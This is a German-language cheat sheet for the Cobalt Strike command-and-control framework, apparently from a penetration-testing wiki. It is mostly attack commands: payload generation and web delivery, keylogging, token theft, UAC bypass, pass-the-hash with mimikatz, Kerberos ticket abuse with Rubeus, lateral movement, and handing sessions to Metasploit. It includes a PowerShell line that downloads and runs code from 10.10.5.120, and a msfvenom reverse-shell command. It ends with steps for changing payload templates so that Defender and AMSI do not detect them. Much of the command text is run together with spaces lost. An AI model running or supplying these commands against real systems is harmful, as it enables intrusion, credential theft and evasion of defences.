Cobalt Strike -> Listeners -> Add/Edit dann können Sie auswählen, wo Sie hören möchten, welche Art von Beacon verwendet werden soll (http, dns, smb...) und mehr.
Peer2Peer Listeners
Die Beacons dieser Listener müssen nicht direkt mit dem C2 kommunizieren, sie können über andere Beacons mit ihm kommunizieren.
Cobalt Strike -> Listeners -> Add/Edit dann müssen Sie die TCP- oder SMB-Beacons auswählen.
Der TCP-Beacon wird einen Listener im ausgewählten Port einrichten. Um sich mit einem TCP-Beacon zu verbinden, verwenden Sie den Befehl connect <ip> <port> von einem anderen Beacon.
Der smb-Beacon wird in einem Pipename mit dem ausgewählten Namen hören. Um sich mit einem SMB-Beacon zu verbinden, müssen Sie den Befehl link [target] [pipe] verwenden.
Generate & Host payloads
Generate payloads in files
Attacks -> Packages ->
HTMLApplication für HTA-Dateien
MS Office Macro für ein Office-Dokument mit einem Makro
Windows Executable für eine .exe, .dll oder Dienst .exe
Windows Executable (S) für eine stageless .exe, .dll oder Dienst .exe (besser stageless als staged, weniger IoCs)
Generate & Host payloads
Attacks -> Web Drive-by -> Scripted Web Delivery (S) Dies wird ein Skript/executables generieren, um den Beacon von Cobalt Strike in Formaten wie: bitsadmin, exe, powershell und python herunterzuladen.
Host Payloads
Wenn Sie bereits die Datei haben, die Sie auf einem Webserver hosten möchten, gehen Sie einfach zu Attacks -> Web Drive-by -> Host File und wählen Sie die Datei zum Hosten und die Webserver-Konfiguration aus.
Beacon Options
# Führen Sie lokale .NET-Binärdatei ausexecute-assembly</path/to/executable.exe># Screenshotsprintscreen# Machen Sie einen einzelnen Screenshot über die PrintScr-Methodescreenshot# Machen Sie einen einzelnen Screenshotscreenwatch# Machen Sie periodische Screenshots des Desktops## Gehen Sie zu Ansicht -> Screenshots, um sie zu sehen# keyloggerkeylogger [pid] [x86|x64]## Ansicht > Tastenanschläge, um die gedrückten Tasten zu sehen# portscanportscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Fügen Sie die Portscan-Aktion in einen anderen Prozess einportscan [targets] [ports] [arp|icmp|none] [max connections]# Powershell# Importieren Sie das Powershell-Modulpowershell-importC:\path\to\PowerView.ps1powershell<schreibenSiehiereinfachdenpowershell-Befehl># Benutzeridentifikation## Token-Generierung mit Anmeldeinformationenmake_token [DOMAIN\user] [password] #Erstellen Sie ein Token, um einen Benutzer im Netzwerk zu impersonierenls \\computer_name\c$ # Versuchen Sie, das generierte Token zu verwenden, um auf C$ in einem Computer zuzugreifenrev2self# Stoppen Sie die Verwendung des mit make_token generierten Tokens## Die Verwendung von make_token erzeugt Ereignis 4624: Ein Konto wurde erfolgreich angemeldet. Dieses Ereignis ist in einer Windows-Domäne sehr häufig, kann jedoch durch Filtern nach dem Anmeldetyp eingegrenzt werden. Wie oben erwähnt, verwendet es LOGON32_LOGON_NEW_CREDENTIALS, was Typ 9 ist.# UAC Bypasselevatesvc-exe<listener>elevateuac-token-duplication<listener>runasadminuac-cmstpluapowershell.exe-nop-whidden-c"IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"## Token von pid stehlen## Wie make_token, aber das Token von einem Prozess stehlensteal_token [pid] # Dies ist auch nützlich für Netzwerkaktionen, nicht für lokale Aktionen## Aus der API-Dokumentation wissen wir, dass dieser Anmeldetyp "dem Aufrufer erlaubt, sein aktuelles Token zu klonen". Deshalb sagt die Beacon-Ausgabe Impersonated <current_username> - es impersoniert unser eigenes geklontes Token.ls \\computer_name\c$ # Versuchen Sie, das generierte Token zu verwenden, um auf C$ in einem Computer zuzugreifenrev2self# Stoppen Sie die Verwendung des Tokens von steal_token## Prozess mit neuen Anmeldeinformationen startenspawnas [domain\username] [password] [listener] #Führen Sie es aus einem Verzeichnis mit Lesezugriff aus, z. B.: cd C:\## Wie make_token wird dies Windows-Ereignis 4624 erzeugen: Ein Konto wurde erfolgreich angemeldet, jedoch mit einem Anmeldetyp von 2 (LOGON32_LOGON_INTERACTIVE). Es wird den aufrufenden Benutzer (TargetUserName) und den impersonierten Benutzer (TargetOutboundUserName) detailliert beschreiben.## In einen Prozess injiziereninject [pid] [x64|x86] [listener]## Aus einer OpSec-Perspektive: Führen Sie keine plattformübergreifende Injektion durch, es sei denn, es ist wirklich notwendig (z. B. x86 -> x64 oder x64 -> x86).## Pass the hash## Dieser Modifikationsprozess erfordert das Patchen des LSASS-Speichers, was eine hochriskante Aktion ist, lokale Administratorrechte erfordert und nicht sehr praktikabel ist, wenn der geschützte Prozess Light (PPL) aktiviert ist.pth [pid] [arch] [DOMAIN\user] [NTLM hash]pth [DOMAIN\user] [NTLM hash]## Pass the hash durch mimikatzmimikatzsekurlsa::pth/user:<username>/domain:<DOMAIN>/ntlm:<NTLMHASH>/run:"powershell -w hidden"## Ohne /run startet mimikatz eine cmd.exe, wenn Sie als Benutzer mit Desktop ausgeführt werden, sieht er die Shell (wenn Sie als SYSTEM ausgeführt werden, sind Sie auf der sicheren Seite).steal_token<pid>#Token von dem durch mimikatz erstellten Prozess stehlen## Pass the ticket## Ticket anfordernexecute-assemblyC:\path\Rubeus.exeasktgt/user:<username>/domain:<domain>/aes256:<aes_keys>/nowrap/opsec## Erstellen Sie eine neue Anmeldesitzung, um das neue Ticket zu verwenden (um das kompromittierte nicht zu überschreiben)make_token<domain>\<username>DummyPass## Schreiben Sie das Ticket auf die Angreifer-Maschine aus einer Powershell-Sitzung & laden Sie es[System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))kerberos_ticket_useC:\Users\Administrator\Desktop\jkingTGT.kirbi## Pass the ticket von SYSTEM## Erzeugen Sie einen neuen Prozess mit dem Ticketexecute-assemblyC:\path\Rubeus.exeasktgt/user:<USERNAME>/domain:<DOMAIN>/aes256:<AESKEY>/nowrap/opsec/createnetonly:C:\Windows\System32\cmd.exe## Stehlen Sie das Token von diesem Prozesssteal_token<pid>## Ticket extrahieren + Ticket übergeben### Tickets auflistenexecute-assemblyC:\path\Rubeus.exetriage### Interessantes Ticket nach luid dumpenexecute-assemblyC:\path\Rubeus.exedump/service:krbtgt/luid:<luid>/nowrap### Neue Anmeldesitzung erstellen, beachten Sie luid und processidexecute-assemblyC:\path\Rubeus.execreatenetonly/program:C:\Windows\System32\cmd.exe### Ticket in der generierten Anmeldesitzung einfügenexecute-assemblyC:\path\Rubeus.exeptt/luid:0x92a8c/ticket:[...base64-ticket...]### Schließlich das Token von diesem neuen Prozess stehlensteal_token<pid># Lateral Movement## Wenn ein Token erstellt wurde, wird es verwendetjump [method] [target] [listener]## Methoden:## psexec x86 Verwenden Sie einen Dienst, um ein Service EXE-Artefakt auszuführen## psexec64 x64 Verwenden Sie einen Dienst, um ein Service EXE-Artefakt auszuführen## psexec_psh x86 Verwenden Sie einen Dienst, um eine PowerShell-Einzeiler auszuführen## winrm x86 Führen Sie ein PowerShell-Skript über WinRM aus## winrm64 x64 Führen Sie ein PowerShell-Skript über WinRM ausremote-exec [method] [target] [command]## Methoden:## psexec Remote ausführen über den Dienststeuerungsmanager## winrm Remote ausführen über WinRM (PowerShell)## wmi Remote ausführen über WMI## Um einen Beacon mit wmi auszuführen (es ist nicht im jump-Befehl), laden Sie einfach den Beacon hoch und führen Sie ihn aus.beacon> uploadC:\Payloads\beacon-smb.exebeacon> remote-execwmisrv-1C:\Windows\beacon-smb.exe# Pass session to Metasploit - Through listener## Auf dem Metasploit-Hostmsf6>useexploit/multi/handlermsf6exploit(multi/handler) >setpayloadwindows/meterpreter/reverse_httpmsf6exploit(multi/handler) >setLHOSTeth0msf6exploit(multi/handler) >setLPORT8080msf6exploit(multi/handler) >exploit-j## Auf Cobalt: Listeners > Hinzufügen und das Payload auf Foreign HTTP setzen. Setzen Sie den Host auf 10.10.5.120, den Port auf 8080 und klicken Sie auf Speichern.beacon> spawnmetasploit## Sie können nur x86 Meterpreter-Sitzungen mit dem ausländischen Listener starten.# Pass session to Metasploit - Through shellcode injection## Auf dem Metasploit-Hostmsfvenom-pwindows/x64/meterpreter_reverse_httpLHOST=<IP>LPORT=<PORT>-fraw-o/tmp/msf.bin## Führen Sie msfvenom aus und bereiten Sie den multi/handler-Listener vor.## Kopieren Sie die Binärdatei auf den Cobalt Strike-Hostpsshinject<pid>x64C:\Payloads\msf.bin#In einen x64-Prozess Metasploit-Shellcode injizieren# Pass Metasploit-Sitzung zu Cobalt Strike## Generieren Sie stageless Beacon-Shellcode, gehen Sie zu Angriffe > Pakete > Windows Executable (S), wählen Sie den gewünschten Listener aus, wählen Sie Raw als Ausgabetyp und wählen Sie Use x64 payload.## Verwenden Sie post/windows/manage/shellcode_inject in Metasploit, um den generierten Cobalt Strike-Shellcode zu injizieren.# Pivoting## Öffnen Sie einen Socks-Proxy im Teamserverbeacon> socks1080# SSH-Verbindungbeacon> ssh10.10.17.12:22BenutzernamePasswort
Vermeidung von AVs
Artifact Kit
Normalerweise finden Sie in /opt/cobaltstrike/artifact-kit den Code und die vorcompilierten Vorlagen (in /src-common) der Payloads, die Cobalt Strike verwenden wird, um die binären Beacons zu generieren.
Mit ThreatCheck können Sie mit dem generierten Backdoor (oder nur mit der kompilierten Vorlage) herausfinden, was den Defender auslöst. Es ist normalerweise eine Zeichenfolge. Daher können Sie einfach den Code, der die Backdoor generiert, so ändern, dass diese Zeichenfolge nicht in der endgültigen Binärdatei erscheint.
Nachdem Sie den Code geändert haben, führen Sie einfach ./build.sh aus demselben Verzeichnis aus und kopieren Sie den dist-pipe/-Ordner in den Windows-Client in C:\Tools\cobaltstrike\ArtifactKit.
Vergessen Sie nicht, das aggressive Skript dist-pipe\artifact.cna zu laden, um Cobalt Strike anzuzeigen, dass die Ressourcen von der Festplatte verwendet werden sollen, die wir wollen, und nicht die geladenen.
Resource Kit
Der ResourceKit-Ordner enthält die Vorlagen für die skriptbasierten Payloads von Cobalt Strike, einschließlich PowerShell, VBA und HTA.
Mit ThreatCheck können Sie mit den Vorlagen herausfinden, was der Defender (in diesem Fall AMSI) nicht mag, und es anpassen:
Modifizieren Sie die erkannten Zeilen, um eine Vorlage zu erstellen, die nicht erkannt wird.
Vergessen Sie nicht, das aggressive Skript ResourceKit\resources.cna zu laden, um Cobalt Strike anzuzeigen, dass die Ressourcen von der Festplatte verwendet werden sollen, die wir möchten, und nicht die geladenen.